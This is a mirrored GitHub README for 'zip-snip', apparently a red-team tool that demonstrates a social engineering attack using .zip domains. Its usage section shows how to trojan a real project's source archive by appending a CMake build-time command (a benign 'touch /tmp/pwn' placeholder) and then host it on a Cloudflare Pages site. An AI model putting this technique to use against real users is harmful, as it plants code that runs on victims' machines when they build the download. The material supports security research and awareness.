Giter Site home page Giter Site logo

excloudx6 / zip-snip Goto Github PK

View Code? Open in Web Editor NEW

This project forked from noperator/zip-snip

0.0 0.0 0.0 523 KB

Social engineering attack using a .zip domain.

Home Page: https://noperator.dev/posts/zip-snip/

License: MIT License

Shell 0.13% HTML 99.87%

zip-snip's Introduction

zip snip ๐Ÿคโœ‚๏ธ

Social engineering attack using a .zip domain.

video

Description

See full blog post at https://noperator.dev/posts/zip-snip/.

Getting started

Usage

First, prepare a malicious ZIP file. For example, the following code:

  • downloads the zipped source code for a popular CLI URL parser
  • extracts the project and inserts a malicious command into a build script
  • zips the project back up
$ wget https://github.com/stricaud/faup/archive/refs/tags/v1.4.zip
$ unzip v1.4.zip
$ echo 'execute_process (COMMAND bash -c "touch /tmp/pwn")' >> faup-1.4/CMakeLists.txt
$ zip -r9 faup-1.4.zip faup-1.4

Next, create a Cloudflare Pages deployment (site.zip) that includes this malicious ZIP file.

$ ./build-site.sh faup-1.4.zip

After building a site above, nativate to Cloudflare Pages, choose (or create) your project, create a new deployment, and upload the site.zip file you just created.

Back matter

Legal disclaimer

Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

License

This project is licensed under the MIT License.

zip-snip's People

Contributors

noperator avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.